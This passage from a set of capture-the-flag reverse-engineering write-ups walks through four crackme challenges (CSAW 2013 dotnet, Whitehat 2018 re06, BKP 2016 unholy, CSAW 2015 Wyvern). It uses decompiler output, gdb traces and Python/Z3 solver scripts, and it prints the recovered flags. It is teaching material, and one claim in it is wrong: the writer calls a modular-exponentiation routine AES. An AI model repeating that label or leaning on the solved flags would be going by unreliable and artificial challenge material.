269d731cd5180a91ed6edda26dfe4c28
095b965fe1f52d30464ad0ce099f9b5f
bebf06d90d6f9652476d244470c66bec
10a9c866379106bc43b138e16cd58ba2
91d69e2c6e97f98d4ee096590e978a2d
6dbf3a8df194bf573f46086c9acd3828
aef0cbdcd943997e7bca5dd711e6f580
ca88f85fdba05e5cb6307b93a1dc727f
e139dc68a502e59913af688af225e2a2
374a03db139b5a43a21377d9410b34d7
83ff9d84ce21b77f217637d16e519b4f
bdc511d175460bafb2d1930d5155753f
18ddd65bc857a2332841521a3c83de5e
8436d9b870f35ada28918a00fbde944e
8bf731eed0da5507004f831477a48241
```

When we go ahead and try all of the outputs (or you could just pick the one that matches your input if you don't want to brute force it), we find that one of them works and we get the flag `key(0920303251BABE89911ECEAD17FEBF30)`.

Csaw 2013 dotnet

Let's take a look at the binary:

```
$    file dotPeek32.2017.1.3.exe
dotPeek32.2017.1.3.exe: PE32 executable (GUI) Intel 80386, for MS Windows
```

So we can see that it is a 32 but .NET executable. Fortunately for us, we will be able to decompile the executable straight to the original source code. This is because .NET code is one of the languages that compiles to an IL (intermediate language) instead of compiling straight to machine code (like java). Instead of it just straight running the compiled code, it feeds the compiled IL code into an interpreter, that converts it into machine code. Back to reversing this, we can do it using this open source .NET decompiler:

```
https://www.jetbrains.com/decompiler/
```

When we run the executable in Windows, we see that it is asking for a passcode to unlock the prize. When we pop the executable into the .NET decompiler, we can clearly see what it is asking for (in the assembly Explorer go to `DotNetReversing>dotnetreversingchallenge>aClass`):

```
namespace dotnetreversingchallenge
{
  internal class aClass
  {
    private static void Main(string[] args)
    {
      Console.WriteLine("Greetings challenger! Step right up and try your shot at gaining the flag!");
      Console.WriteLine("You'll have to know the pascode to unlock the prize:");
      long int64 = Convert.ToInt64(Console.ReadLine());
      long num1 = 53129566096;
      long num2 = 65535655351;
      if ((int64 ^ num1) == num2)
        Console.WriteLine("yay");
      else
        Console.WriteLine("Incorrect, try again!");
```

So we can see that it is prompting the user for input that will be converted into an integer. We can see that later it takes the integer `53129566096` and xors it against our input, then checks to see if it is equal to `65535655351`. So we can just xor `53129566096` and `65535655351` together since xoring is reversible, and that should be the integer needed to pass the check:

```
$    python
Python 2.7.13 (default, Jan 19 2017, 14:48:08)
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 53129566096 ^ 65535655351
13371337255
```

So when we run the binary and input the integer `13371337255` we get the flag `flag{I'll create a GUI interface using visual basic...see if I can track an IP address.}`.

Whitehat 2018 re06

Let's take a look at the binary:

```
$    file reverse.exe reverse.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
```

So we can see that it is another .NET program. This means that it is compiled to an intermediate language instead of just machine code. Also due to it's design, we can decompile it to pretty much it's original source code (makes reversing it a lot easier). When we run it, we see that it presents us with a gui that prompts us for a key. Taking a look at the code in JetBrains, we see the code responsible for checking our input:

```
    public static string Enc(string s, int e, int n)
    {
      int[] numArray1 = new int[s.Length];
      for (int index = 0; index < s.Length; ++index)
        numArray1[index] = (int) s[index];
      int[] numArray2 = new int[numArray1.Length];
      for (int index = 0; index < numArray1.Length; ++index)
        numArray2[index] = MainWindow.mod(numArray1[index], e, n);
      string s1 = "";
      for (int index = 0; index < numArray1.Length; ++index)
        s1 += (string) (object) (char) numArray2[index];
      return Convert.ToBase64String(Encoding.Unicode.GetBytes(s1));
    }

    public static int mod(int m, int e, int n)
    {
      int[] numArray = new int[100];
      int index1 = 0;
      do
      {
        numArray[index1] = e % 2;
        ++index1;
        e /= 2;
      }
      while ((uint) e > 0U);
      int num = 1;
      for (int index2 = index1 - 1; index2 >= 0; --index2)
      {
        num = num * num % n;
        if (numArray[index2] == 1)
          num = num * m % n;
      }
      return num;
    }

    private void btn_check_Click(object sender, RoutedEventArgs e)
    {
      if (MainWindow.Enc(this.tb_key.Text, 9157, 41117) ==
"iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4
      {
        int num1 = (int) MessageBox.Show("Correct!! You found FLAG");
      }
      else
      {
        int num2 = (int) MessageBox.Show("Try again!");
      }
    }
```

So we can see, it takes our input and passes it to the `Enc` function along with the arguments `9157` and `41117`. It checks the output, and if it is equal to that string then it will print a message saying we have the flag.

Looking at the `enc` function, it looks like it just takes every character of our input and runs it through the `mod` function with the `9157` and `41117` values as the second and third arguments. It then takes the output of all of the `mod` calls, base64 encodes it, then returns the string Taking a look at the `mod` function shows us the bulk of what we need to.

For the mod function, we see it initializes `numArray` with values ranging from `0-1` (depends entirely on the second argument). It will then enter into a for loop where it will perform a series of multiplication and modular operations against `num`. After this loop the value of `num` is returned.

So we know that we give input to the program, it is run through an algorithm (that we know), and compared to a final result that we know. Looking at the `mod` function it looks like an AES encryption algorithm (however atm I'm not a crypto guy). I first tried to throw Z3 at this, however it couldn't get it to be able to solve it easily. So I just went the brute force method. When we base 64 decode the string, we see it is only `86` bytes

```
>>> import base64
>>> x =
base64.b64decode("iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhY(
>>> len(x)
86
>>>
```

Since we know the output, and the only unknown is a single byte input, we can brute force it in practically no time. When I rewrote the `mod` function in python and tested it we see that it always outputs two bytes worth of data. So we the key we input will only be 43 characters long. Without knowledge we can brute force it one character at a time, which effectively reduces the work to only `43*256` runs to brute force it (even less if we limit it to ascii characters). Putting it together, we get the following script:

```
# https://github.com/p4-team/ctf/blob/master/2018-08-18-whitehat/re06/README.md
# ^ That writeup helped me with unpacking issues

import base64
import struct


def mod(m, e, n):
    numArray = [0]*100
    index1 = 0
    while e > 0:
        numArray[index1] = e % 2
        index1 = index1 + 1
        e = e / 2
    num = 1
    index2 = index1 - 1
    while index2 >= 0:
        num = num * num % n
        if (numArray[index2] == 1):
            num = num * m % n
        index2 = index2 - 1
    return (num )

base64encodeString =
"iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4
desiredOutput = base64.b64decode(base64encodeString)

flag = ""
for i in range(0, len(desiredOutput), 2):
    # Restrict it to ASCII characters first
    for c in range(33, 128):
        out = mod(c, 9157, 41117)
        check = struct.unpack("H", desiredOutput[i:i+2])[0]
        if (out == check):
            flag += chr(c)

print flag
```

We can see when we run the script, it gives us the flag. Also the writeup https://github.com/p4-team/ctf/blob/master/2018-08-18-whitehat/re06/README.md helped me with unpacking issues I was having:

```
$    python rev.py
WhiteHat{N3xT_t1m3_I_wi11_Us3_l4rg3_nUmb3r}
```

When we give the program the string `WhiteHat{N3xT_t1m3_I_wi11_Us3_l4rg3_nUmb3r}`, it confirms that we got the right input. With that, we captured the flag!

Obfuscation

Bkp 2016 unholy

The purpose of this challenge is to leak the flag.

This writeup is based off of this other writeup: `https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/BKPCTF/reversing/unholy`

We are given a tar file. Let's see what's inside of it:

```
$    cd unholy
$    ls
main.rb  unholy.so
$    file unholy.so
unholy.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, BuildID[sha1]=bd427479f69b029eec5923ccffb1e6dc76a7743e, not stripped
$    cat main.rb
require_relative 'unholy'
include UnHoly
python_hi
puts ruby_hi
puts "Programming Skills: PRIMARILY RUBY AND PYTHON BUT I CAN USE ANY TYPE OF
GEM TO CONTROL ANY TYPE OF SNAKE"
puts "give me your flag"
flag = gets.chomp!
arr = flag.unpack("V*")
is_key_correct? arr
```

So we can see here, we have a ruby file and an x64 shared library. The ruby script appears to simply scan in input, and then passed it to the shared library to be checked. Let's take a look at the shared library to see how it checks the input. First we see that `Init_unholy` we see

```
void Init_unholy(void)

{
  UnHoly = rb_define_module("UnHoly");
  rb_define_method(UnHoly,"python_hi",method_python_hi,0);
  rb_define_method(UnHoly,"ruby_hi",method_ruby_hi,0);
  rb_define_method(UnHoly,"is_key_correct?",method_check_key,1);
  return;
}
```

In `method_check_key`, we see this code block:

```
    i = 0;
    do {                // Returns the int element of the ruby array passed as
an argument
      uVar3 = rb_ary_entry(puParm2);
      if ((uVar3 & 1) == 0) {   // Convert the nth element into an int
        matrixInt = rb_num2int();
      }
      else {
        matrixInt = rb_fix2int();
      }
      *(undefined4 *)((long)auStack5072 + i * 4) = matrixInt;  // Store the nth
element in the matrix
      i = i + 1;
    } while (i != 9);
    x = 0x61735320;       // Append a 4 byte hex string as the final item in the
matrix
```

This chunk of code appears to take the values passed to it, and stores the first 8 values as integers in the matrix `matrix`. For the last value `x` it sets it equal to the hex string `0x61735320`. So this organizes our input into a matrix.

```
      uVar1 = 0;
      uVar5 = uVar3 & 0xffffffff;
      uVar3 = uVar3 >> 0x20;
      do {
        iVar2 = (int)uVar3;
        uVar7 = *(int *)((long)&matrix + (ulong)(uVar1 & 3) * 4) + uVar1;
        uVar1 = uVar1 + 0x9e3779b9;
        uVar4 = (int)uVar5 + (((uint)(uVar3 >> 5) ^ iVar2 << 4) + iVar2 ^
uVar7);
        uVar5 = (ulong)uVar4;
        uVar7 = iVar2 + ((uVar4 >> 5 ^ uVar4 * 0x10) + uVar4 ^
                        *(int *)((long)&matrix + (ulong)(uVar1 >> 0xb & 3) * 4)
+ uVar1);
        uVar3 = (ulong)uVar7;
      } while (uVar1 != 0xc6ef3720);
```

Looking at this section of the code, we see that this performs various binary operations using the matrix which was made in the previous code block. Now we could reverse this, or if we googled the hard coded hex string `0x9E3779B9` we see results for the encryption algorithms TEA and XTEA. Looking at the source code for XTEA encryption (https://en.wikipedia.org/wiki/XTEA) it looks rather similar to the code above:

This sample code is from `https://en.wikipedia.org/wiki/XTEA`:

```
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}
```

Looking at these two, we can tell that we are dealing with an XTEA encryption algorithm (operating in ECB Mode). Luckily for us we can decrypt it, provided we have the key and what the encrypted data is. In an earlier piece of the code we can see the key:

```
key[0] = 0x74616877;
key[1] = 0x696f6773;
key[2] = 0x6e6f676e;
key[3] = 0x65726568;
```

Here we can see the four pieces of the key, each a four byte hex string that when you convert it to ascii spells `whatisgoingonhere`. Now the only thing left is to figure out what the encrypted data is, and this is where python comes into the mix. Ghidra's decompilation didn't quite catch this so we will have to look at the disassembly for this:

```
        00100c89 48 8d 0d        LEA        RCX,[s_exec_"""\nimport_struct
 \ne=range_00100d   = "exec \"\"\"\\nimport struct\\
                 27 01 00 00
        00100c90 ba 88 13        MOV        EDX,0x1388
                 00 00
        00100c95 be 01 00        MOV        ESI,0x1
                 00 00
        00100c9a 48 89 df        MOV        RDI,RBX
        00100c9d 50              PUSH       RAX
        00100c9e 8b 44 24 44     MOV        EAX,dword ptr [RSP + local_13b4]
        00100ca2 50              PUSH       RAX
        00100ca3 8b 44 24 48     MOV        EAX,dword ptr [RSP + local_13b8]
        00100ca7 50              PUSH       RAX
        00100ca8 8b 44 24 4c     MOV        EAX,dword ptr [RSP + local_13bc]
        00100cac 50              PUSH       RAX
        00100cad 8b 44 24 50     MOV        EAX,dword ptr [RSP + local_13c0]
        00100cb1 50              PUSH       RAX
        00100cb2 8b 44 24 54     MOV        EAX,dword ptr [RSP + local_13c4]
        00100cb6 50              PUSH       RAX
        00100cb7 8b 44 24 58     MOV        EAX,dword ptr [RSP + local_13c8]
        00100cbb 50              PUSH       RAX
        00100cbc 44 8b 4c        MOV        R9D,dword ptr [RSP + stacker+0x4]
                 24 5c
        00100cc1 31 c0           XOR        EAX,EAX
        00100cc3 44 8b 44        MOV        R8D,dword ptr [RSP + stacker]
                 24 58
```

This essentially writes python code to `stacker`, then runs it. Looking at the python code that it runs, we can see how the encrypted data is verified:

```
#Import libraries
import struct
import sys

#Establish alliases
e=range
I=len
F=sys.exit

#This is the matrix which stores the output of the XTEA encryption in here
X=[[%d,%d,%d],[%d,%d,%d],[%d,%d,%d]]

#This is a matrix which stores static values which will be multiplied against
the values of the matrix X, and then stored in the matrix Y
Y = [[383212,38297,8201833],[382494 ,348234985,3492834886],[3842947
,984328,38423942839]]

#This is what our input will be checked against
n=[5034563854941868,252734795015555591,55088063485350767967,-
2770438152229037,142904135684288795,-33469734302639376803,-
3633507310795117,195138776204250759,-34639402662163370450]

#This is a matrix which will store the output of the operations with matrices X
and Y, then checked against the values of n
y=[[0,0,0],[0,0,0],[0,0,0]]

#This is never actually used
A=[0,0,0,0,0,0,0,0,0]

#This section of code multiplies together the values of matrices X and Y, and
then stores them in the matrix y
for i in e(I(X)):
 for j in e(I(Y[0])):
  for k in e(I(Y)):
   y[i][j]+=X[i][k]*Y[k][j]

#Establish and set the index for n equal to 0 for the next part
c=0

#This section of code checks to see if the values in the matrix y are equal to
the values in n. If they aren't, it exits the program
for r in y:
 for x in r:
 #Check to see if we have the desired input
  if x!=n[c]:
   print "dang...\"
   F(47)
  c=c+1
  print ":)\"
```

Here we can see that the output from the XTEA function is multiplied against static values stored in the Y matrix, then compared against the values in the n array. With this we can use

Z3 to figure out what values we need in order to pass those checks, and then using the key from earlier decrypt those values using the XTEA python library to find what the correct input is:

```
#This script is based off of the writeup from: https://github.com
/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/BKPCTF/reversing/unholy

#Import libraries
from z3 import *
import xtea
from struct import *

def solvePython():
    z = Solver()

    #Establish the input that z3 has control over
    X=[[BitVec(0,32), BitVec(1,32), BitVec(2,32)], [BitVec(3,32), BitVec(4,32),
BitVec(5,32)], [BitVec(6,32), BitVec(7,32), BitVec(8,32)]]

    #Establish the other necessary constants
    Y = [[383212,38297,8201833],[382494 ,348234985,3492834886],[3842947
,984328,38423942839]]
    n=[5034563854941868,252734795015555591,55088063485350767967,-
2770438152229037,142904135684288795,-33469734302639376803,-
3633507310795117,195138776204250759,-34639402662163370450]
    y=[[0,0,0],[0,0,0],[0,0,0]]

    #A=[0,0,0,0,0,0,0,0,0]

    #Pass the z3 input through the input altering algorithm
    for i in range(len(X)):
        for j in range(len(Y[0])):
            for k in range(len(Y)):
                y[i][j]+=X[i][k]*Y[k][j]
    c=0

    for r in y:
        for x in r:
            #Add the condition for it to pass the check
            #if x!=n[c]:
            z.add(x == n[c])
            c=c+1

    #Check to see if the z3 conditions are possible to solve
    if z.check() == sat:
        print "The condition is satisfiable, would still recommend crying: " +
str(z.check())
        #Solve it, store it in matrix, then return
        solution = z.model()
        matrix = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]
        for i0 in xrange(len(matrix)):
            for i1 in xrange(len(matrix)):
                matrix[i0][i1] = solution[X[i0][i1]].as_long()
        return matrix
    else:
        print "The condition is not satisfiable, would recommend crying alot: "
```

```
+ str(z.check())

def xteaDecrypt(matrix):
    #Establish the key
    key = "tahwiogsnognereh"

    #Take the imported matrix, convert it into a string
    enc_data = ''
    for i0 in xrange(3):
        for i1 in xrange(3):
            #Unpack the matrix entries as four byte Integers in Big Endian
            enc_data += pack('>I', matrix[i0][i1])

    #Because of the check prior to python code running in the shared library we
know the last value before decryption should be this
    enc_data += pack('>I', 0x4de3f9fd)

    #Establish the key, and mode for xtea
    enc = xtea.new(key, mode=xtea.MODE_ECB)

    #Decrypt the encrypted data
    decrypted = enc.decrypt(enc_data)

    #We have to reformat the decrypted data
    data = ''
    for i in range(0, len(decrypted), 4):
        data += decrypted[i:i+4][::-1]

    #We check to ensure that the last four characters match the four that are
appended prior to encryption
    if data[len(data) - 4:len(data)] == " Ssa":
        return data

#Run the code
matrix = solvePython()
flag = xteaDecrypt(matrix)
print "The flag is: " + flag
```

and when we run it:

```
$ python rev.py
The condition is satisfiable, would still recommend crying: sat
The flag is: BKPCTF{hmmm _why did i even do this} Ssa
```

Just like that, we captured the flag!

Csaw 2015 Wyvern

Goal of this challenge is to get the flag, not pop a shell.

Let's take a look at the binary:

```
$    file wyvern
wyvern: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=45f9b5b50d013fe43405dc5c7fe651c91a7a7ee8, not stripped
$    ./wyvern
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
    brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret: 15935728

[-] You have failed. The dragon's power, speed and intelligence was greater.
```

So we are dealing with a `64` bit binary, that prompts us for input via stdin. It looks like a normal crackme which scans in data, and checks it.

Reversing

When we take a look at the main function, we see this:

```
undefined8 main(void)

{
  int dragonBattle;
  basic_string local_148 [8];
  basic_string local_140 [24];
  allocator<char> local_128 [8];
  basic_string<char,std--char_traits<char>,std--allocator<char>> local_120 [8];
  allocator input [268];

  operator<<<std--char_traits<char>>((basic_ostream
*)cout,"+---------------------+\n");
  operator<<<std--char_traits<char>>((basic_ostream *)cout,"|    Welcome Hero
|\n");
  operator<<<std--char_traits<char>>((basic_ostream
*)cout,"+---------------------+\n\n");
  operator<<<std--char_traits<char>>
            ((basic_ostream *)cout,"[!] Quest: there is a dragon prowling the
domain.\n");
  operator<<<std--char_traits<char>>
            ((basic_ostream *)cout,
             "\tbrute strength and magic is our only hope. Test your skill.\n
\n");
  operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter the dragon\'s
secret: ");
  fgets((char *)input,0x101,stdin);
  allocator();
                    /* try { // try from 0040e217 to 0040e230 has its
CatchHandler @ 0040e2ee */
  basic_string((char *)local_120,input);
  ~allocator(local_128);
                    /* try { // try from 0040e242 to 0040e254 has its
CatchHandler @ 0040e30e */
  basic_string(local_140);
                    /* try { // try from 0040e25a to 0040e265 has its
CatchHandler @ 0040e322 */
  dragonBattle = start_quest((basic_string)0xc0);
                    /* try { // try from 0040e27f to 0040e2c1 has its
CatchHandler @ 0040e30e */
  ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>>
*)local_140);
  if (dragonBattle == 0x1337) {
    basic_string(local_148);
                    /* try { // try from 0040e2c7 to 0040e2d2 has its
CatchHandler @ 0040e347 */
    reward_strength((basic_string)0xb8);
                    /* try { // try from 0040e2d8 to 0040e2e3 has its
CatchHandler @ 0040e30e */
    ~basic_string((basic_string<char,std--char_traits<char>,std--
allocator<char>> *)local_148);
  }
  else {
```

```
                    /* try { // try from 0040e36c to 0040e37e has its
CatchHandler @ 0040e30e */
    operator<<<std--char_traits<char>>
              ((basic_ostream *)cout,
               "\n[-] You have failed. The dragon\'s power, speed and
intelligence was greater.\n");
  }
  ~basic_string(local_120);
  return 0;
}
```

So we can see that it prompts us for input here:

```
  fgets((char *)input,0x101,stdin);
```

Looking through the code, we can see that it really doesn't do much input checking. It just passes our input to `start_quest`, and checks to see if it's output is `0x1337` (which we will need to figure out how to make that happen to solve this challenge). Also the disassembly shows that our input isn't passed, however that is wrong. We can see that in gdb our input is passed:

```
Breakpoint 1, 0x000000000040e261 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0xa38323735333935  ("5935728\n"?)
$rdx   : 0x0
$rsp   : 0x00007fffffffdd90  →  0x0000000000000000
$rbp   : 0x00007fffffffdf50  →  0x000000000040e5b0  →  <__libc_csu_init+0> push
r15
$rsi   : 0x00007fffffffde38  →  0x00000000006236a8  →  "15935728"
$rdi   : 0x00007fffffffde18  →  0x00000000006236a8  →  "15935728"
$rip   : 0x000000000040e261  →  <main+321> call 0x404350 <_Z11start_questSs>
$r8    : 0x00000000006236a8  →  "15935728"
$r9    : 0x00007ffff7a7ff40  →  0x00007ffff7a7ff40  →  [loop detected]
$r10   : 0x6
$r11   : 0x00007ffff7ebd150  →  <std::basic_string<char,+0> push rbx
$r12   : 0x00000000004013bb  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe030  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
```

```
stack ────
0x00007fffffffdd90│+0x0000: 0x0000000000000000     ← $rsp
0x00007fffffffdd98│+0x0008: 0x0000000000000000
0x00007fffffffdda0│+0x0010: 0x0000000000000000
0x00007fffffffdda8│+0x0018: 0x0000000000000000
0x00007fffffffddb0│+0x0020: 0x0000000000000000
0x00007fffffffddb8│+0x0028: 0x00007fffffffde30  →  0x0000000000000000
0x00007fffffffddc0│+0x0030: 0x00007fffffffde40  →  "15935728"
0x00007fffffffddc8│+0x0038: 0x00007fffffffde40  →  "15935728"
```

```
code:x86:64 ────
     0x40e250 <main+304>       call   0x400f20 <_ZNSsC1ERKSs@plt>
     0x40e255 <main+309>       jmp    0x40e25a <main+314>
     0x40e25a <main+314>       lea    rdi, [rbp-0x138]
 →   0x40e261 <main+321>       call   0x404350 <_Z11start_questSs>
   ↳    0x404350 <start_quest(std::string)+0> push   rbp
        0x404351 <start_quest(std::string)+1> mov    rbp, rsp
        0x404354 <start_quest(std::string)+4> push   r15
        0x404356 <start_quest(std::string)+6> push   r14
        0x404358 <start_quest(std::string)+8> push   rbx
        0x404359 <start_quest(std::string)+9> sub    rsp, 0x78
```

```
arguments (guessed) ────
_Z11start_questSs (
   $rdi = 0x00007fffffffde18 → 0x00000000006236a8 → "15935728",
   $rsi = 0x00007fffffffde38 → 0x00000000006236a8 → "15935728"
```

```
)
```

```
threads ─────
[#0] Id 1, Name: "wyvern", stopped, reason: BREAKPOINT
```

```
trace ─────
[#0] 0x40e261 → main()
```

```
gef➤
```

start_quest

So that brings us to the `start_quest` function:

```
/* start_quest(std::basic_string<char, std::char_traits<char>,
std::allocator<char>>) */

ulong start_quest(basic_string param_1)

{
  undefined *puVar1;
  uint *puVar2;
  long inputLength;
  undefined *this;
  undefined *puVar3;
  undefined auStack152 [8];
  undefined8 local_90;
  uint local_50;
  bool lenCheck;

  puVar3 = auStack152;
  puVar1 = auStack152;
  if ((x25 * (x25 + -1) & 1U) == 0 || y26 < 10) goto LAB_004043a4;
  do {
    puVar3 = puVar1;
    *(undefined8 *)(puVar3 + -8) = 0x404c2c;
    push_back(hero,&secret_100,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404c45;
    push_back(hero,&secret_214,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404c5e;
    push_back(hero,&secret_266,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404c77;
    push_back(hero,&secret_369,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404c90;
    push_back(hero,&secret_417,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404ca9;
    push_back(hero,&secret_527,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404cc2;
    push_back(hero,&secret_622,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404cdb;
    push_back(hero,&secret_733,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404cf4;
    push_back(hero,&secret_847,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404d0d;
    push_back(hero,&secret_942,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404d26;
    push_back(hero,&secret_1054,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404d3f;
    push_back(hero,&secret_1106,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404d58;
    push_back(hero,&secret_1222,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404d71;
    push_back(hero,&secret_1336,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404d8a;
    push_back(hero,&secret_1441,puVar3[-8]);
```

```
    *(undefined8 *)(puVar3 + -8) = 0x404da3;
    push_back(hero,&secret_1540,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404dbc;
    push_back(hero,&secret_1589,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404dd5;
    push_back(hero,&secret_1686,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404dee;
    push_back(hero,&secret_1796,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404e07;
    push_back(hero,&secret_1891,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404e20;
    push_back(hero,&secret_1996,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404e39;
    push_back(hero,&secret_2112,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404e52;
    push_back(hero,&secret_2165,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404e6b;
    push_back(hero,&secret_2260,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404e84;
    push_back(hero,&secret_2336,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404e9d;
    push_back(hero,&secret_2412,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404eb6;
    push_back(hero,&secret_2498,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404ecf;
    push_back(hero,&secret_2575,puVar3[-8]);
    *(undefined8 *)(puVar3 + -8) = 0x404ed8;
    local_90 = length(puVar3[-8]);
LAB_004043a4:
    puVar2 = (uint *)(puVar3 + -0x10);
    this = puVar3 + -0x20;
    *(undefined8 *)(puVar3 + -0x48) = 0x4043f5;
    push_back(hero,&secret_100,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40440e;
    push_back(hero,&secret_214,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404427;
    push_back(hero,&secret_266,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404440;
    push_back(hero,&secret_369,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404459;
    push_back(hero,&secret_417,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404472;
    push_back(hero,&secret_527,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40448b;
    push_back(hero,&secret_622,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4044a4;
    push_back(hero,&secret_733,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4044bd;
    push_back(hero,&secret_847,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4044d6;
    push_back(hero,&secret_942,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4044ef;
    push_back(hero,&secret_1054,puVar3[-0x48]);
```

```
    *(undefined8 *)(puVar3 + -0x48) = 0x404508;
    push_back(hero,&secret_1106,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404521;
    push_back(hero,&secret_1222,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40453a;
    push_back(hero,&secret_1336,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404553;
    push_back(hero,&secret_1441,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40456c;
    push_back(hero,&secret_1540,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404585;
    push_back(hero,&secret_1589,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40459e;
    push_back(hero,&secret_1686,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4045b7;
    push_back(hero,&secret_1796,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4045d0;
    push_back(hero,&secret_1891,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4045e9;
    push_back(hero,&secret_1996,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404602;
    push_back(hero,&secret_2112,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40461b;
    push_back(hero,&secret_2165,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404634;
    push_back(hero,&secret_2260,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40464d;
    push_back(hero,&secret_2336,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404666;
    push_back(hero,&secret_2412,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40467f;
    push_back(hero,&secret_2498,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404698;
    push_back(hero,&secret_2575,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4046a1;
    inputLength = length(puVar3[-0x48]);
    lenCheck = inputLength + -1 != (long)(legend >> 2);
    puVar1 = puVar3 + -0x40;
  } while ((x25 * (x25 + -1) & 1U) != 0 && 9 < y26);
  if (lenCheck) {
    if ((x25 * (x25 + -1) & 1U) == 0 || y26 < 10) goto LAB_00404760;
    do {
      *puVar2 = legend >> 2;
LAB_00404760:
      *puVar2 = legend >> 2;
    } while ((x25 * (x25 + -1) & 1U) != 0 && 9 < y26);
  }
  else {
    if ((x25 * (x25 + -1) & 1U) == 0 || y26 < 10) goto LAB_004047fb;
    do {
      *(undefined8 *)(puVar3 + -0x48) = 0x404f06;
      basic_string(this,puVar3[-0x48]);
LAB_004047fb:
```

```
      *(undefined8 *)(puVar3 + -0x48) = 0x404808;
